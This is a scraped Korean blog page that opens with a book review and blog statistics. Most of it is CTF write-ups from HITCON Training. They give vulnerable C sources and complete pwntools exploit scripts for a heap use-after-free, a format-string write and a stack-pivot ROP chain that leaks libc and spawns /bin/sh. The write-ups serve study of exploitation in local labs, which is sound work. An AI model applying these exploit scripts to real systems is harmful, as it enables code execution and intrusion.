올해다짐했던 책리뷰 포스팅을 처음으로 시도해봅니다. 처음이니만큼 글의 구성을 어떻게 해야할 지 막막하지만.. 

늘 그랬듯이 써지는대로, 그냥 마음대로 써보려고 합니다. 책리뷰 그 첫 번째 책은 채사장님의 시민의 교양입니다.


1. 읽게된 계기..

팟캐스트 "지적 대화를 위한 넓고 얕은 지식" 을 즐겨 들으며 자연스레 채사장님을 알게 되었습니다. 제목처럼 다양한 지식들을 얕게 한번 파보는 

팟캐스트인데요, 이 내용들을 정리한 책도 있답니다.


저는 두 책 중에 왼쪽에 있는 1편밖에 읽어보지 못했습니다. 역사, 경제, 정치, 사회, 윤리에 대해 말하고 있는 이 책은 이해하기 쉽도록 

구성이 되어있습니다. 적절한 예시와 단순한 설명으로 정말 마음에 들었던 책이였죠. 


이후 채사장님이 쓰신 책들은 다 읽어볼 가치가 있겠다 싶어 그즈음 신간이였던 "열한 계단"을 읽었고 자연스럽게 '시민의 교양도 꼭 읽어봐야지' 라는 

생각이 들어 읽어보게 되었습니다.  이 글을 쓰는 지금은 "우리는 언젠가 만난다" 를 읽고 있는 중입니다. 아마 다음 포스팅 책이 되지 않을까 하고 

생각하고 있습니다.


2. 내용

사회는 굉장히 복잡한 이해관계 속에서 다양한 상황이 일어나기 때문에 쉽게 이해 할 수 없습니다. 이러한 이해관계는 어떻게 발생하였으며 

어떤식으로 드러나게 될까요? 아마 이 책을 읽기 전이었다면 추상적이고 두루뭉술한 이야기를 하였거나, 잘 모르겠다. 라는 대답을 했을 것 같습니다.


이 책은 세금, 국가, 자유, 직업, 교육, 정의, 미래의 카테고리를 가지고 세상을 보다 단순하게 바라볼 수 있는 시야를 가지게 해주었습니다. 그리고 언론 혹은 정치인들이 사용하던 어휘나 말들의 참 뜻에 대해서 조금은 이해 할 수 있게 된 것 같습니다. 

가장 인상 깊었던 카테고리를 두 가지 정도 뽑아보자면 바로 직업교육입니다.


- 직업

세상에 수 많은 직업이 있지만 이 책에서는 단 네 가지로 나누어 설명해줍니다. 


투자가, 자본가, 비임금노동자, 임금노동자


각 직업이 어떻게 발생을 하였는 지 어떤면에서 유리하고 어떤 부분에서 불리한 지에 대해 역시 단순한 예시와 쉬운 설명으로 이해를 도와줍니다.

이 카테고리가 인상깊었던 이유는 도입부에 있습니다. 비서실장과 시민의 대화에서 직업의 본질에 대해서 이야기 하는 부분이였는데요, 


시민은 직업을 선택 할 때 흔히 잘하는 일 혹은 좋아하는 일에 따라 고민을 한다라고 생각하지만 "산업화 사회에서 그런건 없다." 라고 이야기 합니다. 

그리고 이어서 "운동화 생산라인에서 일하는 사람은 좋아하는 일을 선택한 것입니까 잘하는 일을 선택한 것입니까?" 라는 질문을 던집니다. 


이 문장을 읽고 정말 많은 생각을 하게 되었습니다. 그리곤 직업이란 개념에 대해서 내가 뭔가를 놓치고 있구나 라고 생각하게 되었죠. 

요즘은 잘 모르겠습니다만, 제가 초등학교에 다니던 시절 학교에서 직업에 대해서 설명할 때 크게 두 가지 의미를 갖는다고 배웠던 것 같습니다. 


소득. 

자아실현의 의미.


오늘 날 구조에서 과연 직업이 저러한 의미를 갖는가? 에 대해 진지하게 고민을 하게되었습니다.


- 교육

교육 카테고리에서는 무엇을 어떻게 가르칠 것인가? 에 대한 내용을 다룹니다. 그리고 덴마크의 교육제도에 대해 설명한 부분도 재미있게 읽었습니다. 

여기서 인상 깊었던 점은 경쟁의 정당성에 대해 이야기 한 부분입니다. 우리나라는 교육을 통해 경쟁이 자연스럽게 학습되고 그 결과를 받아들이는 것 또한 정당한 것으로 학습시킵니다. 결과적으로 사회의 구조적인 문제로 발생한 문제 또한 경쟁에서 밀려났기때문이라고 생각하게끔 만들죠.


우리나라 내신제도에서 중간 정도 등수를 기록한 학생은 내신 5등급을 받게 됩니다. 내신 5등급을 받은 학생은 흔히들 이야기하는 sky를 포함한 "인서울"로 표현되는 대학들을 가지 못하게됩니다. 그리고 그 영향을 받아 취업경쟁에서도 대기업을 가기 힘들어집니다.

우리나라 경제인구를 100명으로 줄을 세웠을 때 경제소득순위 50등에 있는 사람의 연봉은 1074만원으로 한달에 90만원 정도가 됩니다. 물론 내신 5등급을 받은 학생이 반드시 연봉 1074만원을 받게되는 것은 아니겠지만, 분명 큰 영향을 받게 되는 것은 인정할 수 밖에 없죠.


이 책과 같이 제가 말하고자 하는 것은 중간정도의 노력을 한 사람이 중간정도의 소득을 얻지 못하는 현상은 사회의 문제로 봐야할 것이지 당연히 경쟁에서 밀렸기 때문으로 치부할 수 없다는 것입니다. 이러한 문제에 대해 여러분은 어떻게 생각하시나요?


3. 마무리..

이 책을 읽기 전과 후 사회를 보는 시야가 많이 바뀐 것 같다고 스스로 생각이 듭니다. 비교적 좀 더 단순하게 보고 이해하게 될 수 있게 되었으며, 

생각해 볼 거리가 많이 늘어났습니다. 세금, 국가, 자유, 직업, 교육, 정의, 미래에 대해 막연하고 어렵게 느껴지신다면 

꼭 한번 읽어 보셨으면 좋겠습니다.


쉽고 간단하게 그러나 중요한 것은 놓치지 않는 선에서 잘 설명을 해놓은 책이니까요. 


'일상 > BooK' 카테고리의 다른 글

라틴어 수업 - 나는 공부하는 노동자입니다.  (0) 2018.03.22
죄와 벌  (0) 2018.02.26
우리는 언젠가 만난다.  (0) 2018.01.15
시민의 교양  (1) 2018.01.11
  1. daisy707 2020.11.19 23:44

    유용한 내용 잘 보고 갑니다

tistory에서 2017년 결산을 내준다기에 해본 결과입니다.


1. 많이 언급한 단어



기존에 포스팅 한 글들을 파싱해서 자주 사용한 단어들을 뽑아주나보네요ㅋㅋ

역시 포스팅한 글들의 성격이 확연히 드러나는 것 같습니다.



2. 총 방문자 수

올해엔 총 8622명이 방문을 해주셨네요 ~

요즘 일평균 글을 올리지 않았을 때는 30~40명 정도 방문을 해주고 계시고

글을 올린 날은 100명 내외 정도 방문 해주시는 것같습니다.

조만간 블로그 토탈 방문자 수가 조만간 13000명을 넘을 것 같습니다! 핳


올해에도 열심히 포스팅 할테니 많이 들러주세요 ~

특히 올해에는 책을 읽고 난 후기도 포스팅을 해볼 예정이랍니다 !

그럼 이만 뿅~


'Study > ETC' 카테고리의 다른 글

2017년도 블로그 결산!  (0) 2018.01.09
Zip file구조  (2) 2016.10.27
Google I/O 2016 Extended Seoul 정리 및 후기  (4) 2016.06.19
Arpspoofing  (0) 2015.10.16
실전 악성코드와 멀웨어 분석 Lab03_03.exe  (0) 2014.09.01
실전 악성코드와 멀웨어 분석 Lab03-02.dll  (0) 2014.08.29

1. 시작하기전에...

이번 문제를 풀면서 할당된 heap메모리의 해제, 그리고 재할당에 대하여 조금 알게 되었습니다.

여전히 힙알못이라ㅠㅠ heap에 대해 알아가야 할 것들이 많은 것 같네요.. 


이번 포스팅에서 살펴볼 것은 heap의 First Fit과 Use After Free에 대한 내용입니다. 이번 문제의 HITCON Training의 부제가 UAF(Use After Free)여서

간단할 거라고 생각했다가 First Fit개념을 몰라서 한참 해맸습니다.


1-1. First Fit

First Fit을 이해하기 위한 선행지식이 조금 있지만 여기서는 많이 후려쳐서(?) 설명을 해보겠습니다.

먼저, heap의 할당과 해제를 효율적으로 하기위해 해제된 메모리를 핸들링하는 리스트들이 있습니다. 이 리스트들은 메모리 덩어리(chunk)들의 크기에 따라 다양하게 있지요. 자세한건 뒷 포스팅으로 넘기고.. 우선 그런 리스트들이 있다 정도만 인지하고 갑시다.


이 리스트는 새롭게 메모리가 해제될 때마다 tail쪽, 그러니까 리스트의 끝 쪽으로 삽입이 됩니다. 그리고 메모리 할당 요청이 오면 head쪽에서 부터 적당한

메모리가 있는지 검색을 해서 내어주게 됩니다.


char *a = malloc(20);     // 0xe4b010
char *b = malloc(20);     // 0xe4b030
char *c = malloc(20);     // 0xe4b050
char *d = malloc(20);     // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20);           // 0xe4b070
b = malloc(20);           // 0xe4b050
c = malloc(20);           // 0xe4b030
d = malloc(20);           // 0xe4b010

이런 코드가 있을 때, 아래와 같은 순서가 된다는 것이지요.


  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'b' 메모리 해제

    head -> b -> a -> tail

  3. 'c' 메모리 해제

    head -> c -> b -> a -> tail

  4. 'd' 메모리 해제

    head -> d -> c -> b -> a -> tail

  5. 'malloc' 요청

    head -> c -> b -> a -> tail [ 'd' is returned ]

  6. 'malloc' 요청

    head -> b -> a -> tail [ 'c' is returned ]

  7. 'malloc' 요청

    head -> a -> tail [ 'b' is returned ]

  8. 'malloc' 요청

    head -> tail [ 'a' is returned ]


그리고, 아래와 같은 특징도 있습니다.


char *a = malloc(300);    // 0x***010
char *b = malloc(250);    // 0x***150

free(a);

a = malloc(250);          // 0x***010
  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'malloc' 요청

    head -> a2 -> tail [ 'a1' is returned ]


300바이트가 할당된 a가 해제 된 후 250바이트 요청이 들어왔습니다.

리스트에 300바이트짜리 a가 들어있었는데 250바이트가 요청 들어온 상황인데요, 이럴 때엔 300바이트의 공간이 a1과 a2로 쪼개져서 250바이트를 리턴해주고, 50바이트짜리 a2가 리스트에 남게 됩니다. 사이즈가 같으면 a가 통째로 리턴되고요. 단, 20바이트 이하인 경우에는 따로 핸들링이 되기 때문에(fastbin) 이 내용은 해당하지 않습니다.


이 순서와 과정 자체는 취약점이 아니라 리눅스에서 heap메모리를 핸들링하는 과정일 뿐입니다. 다만, 이런 로직을 알고 있어야 heap 공격을 할 수있겠죠.


[참고사이트] https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html

위 참고 사이트는 first_fit뿐만이 아니라 heap의 전반적인 내용, heap exploitation이 상세히 설명되어있습니다.  

 

1-2. Use After Free

UAF는 말그대로 "메모리 해제를 한 다음에 사용을 한다" 는 이야기 입니다.

메모리 해제를 한 후에 그 heap공간을 보면 0이라던지 NULL과 같은 값으로 초기화 되지 않고 전에 사용했던 값이 그대로 남아 있습니다.

실수로 짜여져 로직 상 어떠한 이유로 해제 된 이후 그 공간을 재사용한다면, 의도치 않은 행위 혹은 값을 쓰게 됩니다.

자세한 설명은 아래 참고 사이트에 저어어어엉말 잘 설명되어있습니다.


[참고사이트] https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/  



2. 분석

그럼 문제를 살펴볼까요? hacknote.c에 대한 내용입니다. 이번 문제는 코드의 양이 많아 주요 부분만 잘라서 보도록하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    char buf[4];
    while(1){
        menu();
        read(0,buf,4);
        switch(atoi(buf)){
            case 1 : 
                add_note();
                break ;
            case 2 : 
                del_note();
                break ;
            case 3 : 
                print_note();
                break ;
            case 4 : 
                exit(0);
                break ;
            default :
                puts("Invalid choice");
                break ;
 
        }
    }   
    return 0;
}
cs


우선 메인입니다. 메뉴를 프린트 해주고 선택받은 메뉴번호(1~4)에 따라 노트추가, 노트 삭제, 노트 출력 등의 기능을 하는 함수를 호출하고있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct note {
    void (*printnote)();
    char *content ;
};
 
struct note *notelist[5];
 
void add_note(){
    int i ;
    char buf[8];
    int size ;
    if(count > 5){
        puts("Full");
        return ;
    }
    for(i = 0 ; i < 5 ; i ++){
        if(!notelist[i]){
            notelist[i] = (struct note*)malloc(sizeof(struct note));
            if(!notelist[i]){
                puts("Alloca Error");
                exit(-1);
            }
            notelist[i]->printnote = print_note_content;
            printf("Note size :");
            read(0,buf,8);
            size = atoi(buf);
            notelist[i]->content = (char *)malloc(size);
            if(!notelist[i]->content){
                puts("Alloca Error");
                exit(-1);
            }
            printf("Content :");
            read(0,notelist[i]->content,size);
            puts("Success !");
            count++;
            break;
        }
    }
}
cs


note구조체와 이 구조체들을 핸들링하기위한 전역변수 배열(notelist)이 있습니다.

note구조체에는 내용을 프린트 하는 printnote()의 주소를 담을 함수포인터 변수와, 노트의 내용이 적힐 문자열 포인터content 변수가 있네요.


addnote()함수를 살펴보면 먼저, 최대 갯수인 5개를 넘는지 count검사를 합니다. 5개를 초과하려고하면 더이상 추가를 안해주죠

count가 5개 이하면 노트를 추가하는데 로직은 아래와 같습니다.


1) for문(0 to 4)을 돌면서 비어있는 notelist의 공간을 찾는다.

2) 비어있는 notelist를 찾았다면, 그 공간에 note구조체 만큼 사이즈를 할당한다.

3) 할당한 note구조체의 printnote 함수포인터에 print_note_content 주소를 넣어준다.

4) 노트 사이즈를 입력받고 그 사이즈만큼 note구조체의 content에 메모리할당을 해준다.

5) content를 사이즈만큼 입력받아 써주고 전체 노트의 갯수인 count를 1 증가시켜준다.


뒤에서 한번 더 말씀드리겠지만 여기서 눈여겨 보실 곳은 3번과 4번입니다. 메모리 할당 순서에 대해 기억해주세요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void del_note(){
    char buf[4];
    int idx ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= count){
        puts("Out of bound!");
        _exit(0);
    }
    if(notelist[idx]){
        free(notelist[idx]->content);
        free(notelist[idx]);
        puts("Success");
    }
}
cs


다음은 노트를 지우는 del_note입니다. 노트를 지우는 것이니 메모리 해제가 있겠죠?

간단히 삭제할 노트의 index를 입력받고 index가 유효한지 검사합니다. 그리고 해당 index에 노트가 들어있다면

노트의 content를 해제하고나서 notelist에 할당되어있는 note구조체를 해제합니다.


먼저, 노트 다섯개가 모두 할당 되어 있는 형태를 그려봅시다.

대략 이런 모습이겠죠? 전역변수로 선언되어 있는 배열 notelist가 각각 heap에 동적으로 할당된 notel들의 주소를 하나씩 가지고 있을 거에요

그리고 그 노트의 print함수의 주소는 같은 값이겠지만, 4바이트의 함수의 주소를 가지고 있을 테고 다음 4바이트는 content의 주소를 가지고 있겠지요.

구조체의 사이즈는 총 8바이트가 될거에요.


여기서 예를 들어 notelist[0]을 메모리 해제하면 어떤 일이 일어날까요? 바로 위에서 본 del_note()의 메모리 해제 순서와 first fit을 생각해봅시다.

del_note()에서 메모리해제는 content를 해제하고나서 구조체를 해제했죠? 그리고 first fit에는 어떻게 추가 될까요?


head -> notelist[0] -> notelist[0]`s content -> tail


이런 형식으로 리스트에 메모리 공간이 추가가 될거에요.

여기서 한번 더 notelist[1]을 해제하면??


head -> notelist[1] -> notelist[1]`s content -> notelist[0] -> notelist[0]`s content -> tail


해제 순서에 따르면 리스트는 저렇게 유지가 되고 있을거에요. 메모리 사이즈까지 적어서 한번 다시 봅시다.


head -> notelist[1] (8byte) -> notelist[1]`s content (?) -> notelist[0] (8byte) -> notelist[0]`s content (?) -> tail



자, 이 상태에서 하나의 노트를 추가 한다고 해봅시다. 사이즈는 8바이트로요! 왜 하필 8바이트일까요?

그건 notelist[0]의 자리에 원하는 값을 쓰기 위함입니다.


add_note()를 다시 따라가 봅시다. 새로 생성되는 note는 구조체 메모리 만큼(8바이트) 할당을 받아요.

그럼 위 리스트의 head쪽에 가까운 8바이트를 할당 받겠죠? 거기가 어디냐면 notelist[1]의 구조체가 있던 자리에요.

거기에 새로운 구조체가 할당 받아 질거에요. 그리고 한번 더 8바이트 만큼 요청하면 notelist[0]가 있던 곳의 8바이트를 할당 받겠죠.


바로 요 모습이 될거에요. 이제 감이 슬슬 잡히죠. 새롭게 할당 된 content자리는 notelist[0]이 할당되어 있던 자리이고, 앞의 4바이트는 notelist[0]의 내용을 print해주는 함수의 주소가 있던 자리이지요.


그렇담, 저기에 원하는 함수의 주소를 써넣은 후 notelist[0]를 print한다면 원하는 함수를 호출 할 수 있게 됩니다.



3. exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process("./hacknote")
 
 
def addnote(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
 
def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
magic = 0x08048986
addnote(24,"JSbach")
addnote(24,"uisoo")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
 
log.info(p.recv())
cs


분석란에서 설명한 로직을 그대로 exploit코드로 옮겼습니다.

처음엔 24바이트씩 두번 노트를 생성하고 해제를 0번, 1번 순서대로 메모리를 해제했습니다.

그리고 8바이트 크기로 한번더 노트를 생성할 때 content에 우리의 목표인 magic함수의 주소를 써주어 exploit에 성공했습니다.



끗!



1. 시작하기전에...


Format String Bug

포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점으로써 1989년 경에 발견되었다. 이전에는 위험하지 않다고 여겨졌지만, 포맷 스트링 익스플로잇은 프로그램을 충돌시키거나 악의적인 코드를 실행 시키는데 사용될 수 있다. 문제는 포맷팅을 수행하는 printf() 같은 특정한 C 함수들에서 검사되지 않은 사용자 입력을 포맷 스트링 파라미터로 사용하는 것으로부터 나온다. 악의적인 사용자는 %s와 %x 포맷 토큰들을 콜 스택 또는 메모리의 가능한 다른 위치의 데이터를 보이게 하는 데 사용할 수 있다. 또한 %n 포맷 토큰을 사용해서 임의적인 데이터를 임의적인 위치로 쓸 수 있는데, 이것은 printf() 와 비슷한 함수들이 많은 바이트들을 스택에 저장된 주소에 쓰게 한다.


[참조] https://ko.wikipedia.org/wiki/%ED%8F%AC%EB%A7%B7_%EC%8A%A4%ED%8A%B8%EB%A7%81_%EB%B2%84%EA%B7%B8

[참고사이트] http://blog.naver.com/PostView.nhn?blogId=haks2198&logNo=220840244540&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1&from=postView


포맷스트링 버그의 핵심만 요약하자면, printf와 같은 포맷스트링을 인자로 받는 함수에서 변환명세(%x, %c, %d와같은)의 갯수와 동일하게 스택에서 pop하여 출력하는 것에서 부터 시작합니다. 또한 %n은 앞에서 출력한 문자열의 사이즈를 해당 변수에 저장하는데, 이것들을 조합하여 해커가 원하는 메모리 공간에 임의의 원하는 값을 쓸 수 있게 되는 것이지요.


개인적인 생각으로는 많은 취약점들이 프로그래머의 실수에서 부터 시작되기는 하지만, Format String Bug같은 경우에는 특히나 더 실수 의존도(?)가 더 높은 것 같습니다. 다만, 이 취약점이 있다면 해당 주소에 정확히 값을 덮어 쓰기 때문에 canary같은 메모리 보호기법에 영향을 받지 않아 꽤나 강력하다고 생각됩니다. 


포맷스트링버그의 자세한 개념과 페이로드 작성방법은 이 포스팅에서 생략하도록 하겠습니다. 참고사이트를 참고해주세요.

이 포스팅에서는 쉽고 쎈 pwntools의 fmtstr_payload를 사용하여 exploit하는 방법에 대해서 설명하려고 합니다. 


2. 분석

craxme.c

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
 
int magic = 0 ; 
 
int main(){
    char buf[0x100];
    setvbuf(stdout,0,2,0);
    puts("Please crax me !");
    printf("Give me magic :");
    read(0,buf,0x100);
    printf(buf);
    if(magic == 0xda){
        system("cat /home/craxme/flag");
    }else if(magic == 0xfaceb00c){
        system("cat /home/craxme/craxflag");
    }else{
        puts("You need be a phd");
    }   
 
}
cs


가장 먼저 전역변수 magic이 0으로 초기화 되어 있습니다. 메인함수가 시작되면 "Please crax me !" 을 출력한 다음

Give me magic : 이후 buf공간에 0x100(256) 바이트 만큼 read하고 있는데, 버퍼 사이즈만큼 read하고 있기 때문에, BOF는 발생하지 않아보입니다.


이후에는 0으로 초기화된 maigc의 값이 0xda이면 cat /home/craxme/flag를 실행하고, 0xfaceb00c이면 cat /home/craxme/craxflag 를 실행합니다.

이도저도아니면 You need be a phd.를 출력하고 프로그램은 끝나게되겠습니다.


위에 참고사이트로 적어드린 곳을 보고 오셨다면 어느부분이 취약한 지 바로 보이시겠죠?

read직후에 버퍼를 출력해주는 printf(buf); 이 부분에서 printf에 포맷스트링을 쓰지않아 포맷스트링 버그가 발생하게 됩니다.


3. exploit


1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
context.log_level = 'debug'
magic_addr = 0x0804a038
offset = 7 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xda})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xfaceb00c})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
cs


※이 문제풀이를 로컬에서 했기 때문에, c소스에서 지정하고있는 경로에 flag파일들을 미리 만들어 두고 시작합니다.


자, 그럼 exploit코드를 보겠습니다. 라고 하기 무색할만큼 차떼고 포떼면 한줄 밖에 안남아요ㅠ

핵심은 fmtstr_payload 함수에 있습니다.


[pwntools] http://docs.pwntools.com/en/stable/fmtstr.html 

위 링크를 보시면 pwntools공식 사이트에 fmtstr_payload가 설명되어있는 페이지를 보실 수 있습니다. 아래는 사이트에서 해당부분을 캡쳐한 것 입니다.


파라미터 중 offset에 관해서 한번 보도록하죠.

설명에서는 the first formatter’s offset you control 라고 되어있습니다. 

해석만해보면 컨트롤 할 첫 번째 포맷터의 오프셋.. 정도가 될텐데 사실 전 이것만 보고는 ?? 이게 무슨말이지 라고 생각했었더랬죠ㅠㅠ

자, 그래서 이게 무슨말이냐면 쉽게 말해서 현재 출력하고 있는 버퍼가 스택 상에서 실제 어디에 있느냐 정도가 되겠습니다.

아직 감이 잘 안오시나요? 아래 그림을 한번 봐주세요.



첫 번째 그림을 보면 read를 실행하는 main+100에서 브레이크포인트를 잡아서 찍어본 스택의 상황입니다. read함수의 인자로 들어간 buf의 주소가 가운데 0xffffd0dc에요.


두 번째 그림을 보면 aaaa %8x %8x %8x %8x %8x %8x %8x 을 넣어 실행한 결과이지요. 두 실행 시기가 달라 메모리주소는 약간 다릅니다만, 만약 같은 시기에 찍었다면 0xffffd0dc와 ffa2996c가 같은 값이 나왔을 것이고, f7ffd000가 f771a000으로 같은 값이 나왔을 거에요.


이제 슬슬 offset의 의미가 감이 오시나요? 포맷스트링 버그에 %x등의 변환명세를 집어 넣었을 때, 버퍼의 값을 찍을 수 있는 거리가 offset이 된다는 이야기입니다.


aaaa 이후 %8x를 일곱개를 넣어 aaaa의 값인 61616161을 찍을 수 있었 듯이 말이지요.


exploit에 이용한 fmtstr_payload함수를 다시 볼게요. offset이후에 딕셔너리 인자가 하나 들어갔습니다. 딱 봐도! 어디에다 무엇을 쓰고 싶은지를 넣어주는 딕셔너리 객체라는 것을 알 수 있으시겠지요.


magic자리에 문제에서 요구하는 0xda와 0xfaceb00c을 넣어주겠다 라고 지정하면, 요구사항에 맞게 포맷스트링 버그를 exploit할 수 있는 페이로드를 리턴해줍니다. 이거 그냥 보내기만 하면돼요.


다들 아시겠지만 혹시나 하는 마음에... 한 가지 팁으로 magic의 주소는 어떻게 알아낼까요?


gdb에서 info variables 라는 명령어를 입력하면 전역변수들의 주소를 알 수 있어요.


결과보고 포스팅 마치겠습니다.



디버그모드로 exploit코드를 실행하였기 때문에 어떤 페이로드를 보냈고, 어떤 결과를 받았는지 dump된 형태로 살펴 볼 수 있습니다.


끝!

1. 시작하기전에...


- Stack Migration(Stack Pivoting)?

HITCON Training의 부제는 migration 입니다. stack migration의 의미를 모르고 문제로 바로 ㄱㄱ했다가 사경을 헤메다...

writup컨닝으로  eip를 바로 컨트롤 하지 않는 것을 보고 이게 무엇일까 하고 많은 고민을 하였죠..


stack의 베이스포인터를 같이 컨트롤 해주면서 스택영역을 자신이 원하는 곳으로 옮깁니다. 그래서 Stack Migration(이주) 라는 표현을 쓴 것 같네요.

구글신님께 간절히 빌어보고, 주변지인찬스를 써본 결과 윈도우 쪽에서는 Stack Pivoting이라는 것이 여기서 말하는 Stack Migration과 같다는 것을

알게되었습니다.


그래서 도대체 이런 짓을 왜 하느냐...


전에 어떤 BOF 관련 문제를 풀 때 분명히 eip의 값이 바뀌는 것 까지 gdb로 확인을 한 후 페이로드를 작성해서 날렸음에도 불구하고.. 프로그램의 흐름이 컨트롤 되지 않는 현상을 겪었습니다. 그때는 왜 안되는지 도무지 알수가 없었습니다.


이번 문제에서도 마찬가지로 eip가 바뀌는 것을 확인을 했으나.. 전혀 exploit이 안되는 상황에 놓였습니다. 


제가 내린 결론은 BOF로 스택에 원하는대로 값을 채울 수 있고, eip레지스터의 값을 컨트롤 할 수 있음에도.. 실행을 할 수 없는 어떤 이유가 있다. 정도로

결론을 내렸습니다. 물론 이번 문제에서도, 또 저번 문제에서도 NX가 걸려있지는 않았지만... 이런 상황에서는 stack을 실행 시킬 수 있는 다른 메모리 공간으로 이동을 시켜야한다! 라고 일단은 정리하고 가려고합니다.

관련되서 정확한 지식을 가지고 계신분은 피드백 주세요ㅠㅠ



2. 분석


migration.c의 내용입니다.


1
2
3
4
5
6
7
8
9
10
int main(){
    if(count != 1337)
        _exit(1);
    count++;
    char buf[40];
    setvbuf(stdout,0,2,0);
    puts("Try your best :");
    read(0,buf,64);
    return ;    
}
cs


소스코드 자체는 간단해요. "Try your best : " 문자열을 출력한 다음 40byte짜리 배열에 64byte만큼 read해서 BOF가 발생하는 코드입니다.


3. exploit


여느때와 마찬가지로 exploit코드를 보면서 찬찬히 뜯어봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
 
log.info(proc.recv())
 
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
 
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
 
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


하... 엄청 기네요ㅋㅋ 사실 간략하게 짜면 짧을 수도 있지만, 설명을 위해 주석도 달고.. 최대한 직관적으로 코드가 이해 되도록 짜서 길어졌어요ㅠ
부분부분 잘라서 볼께요~

3-1 intro 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
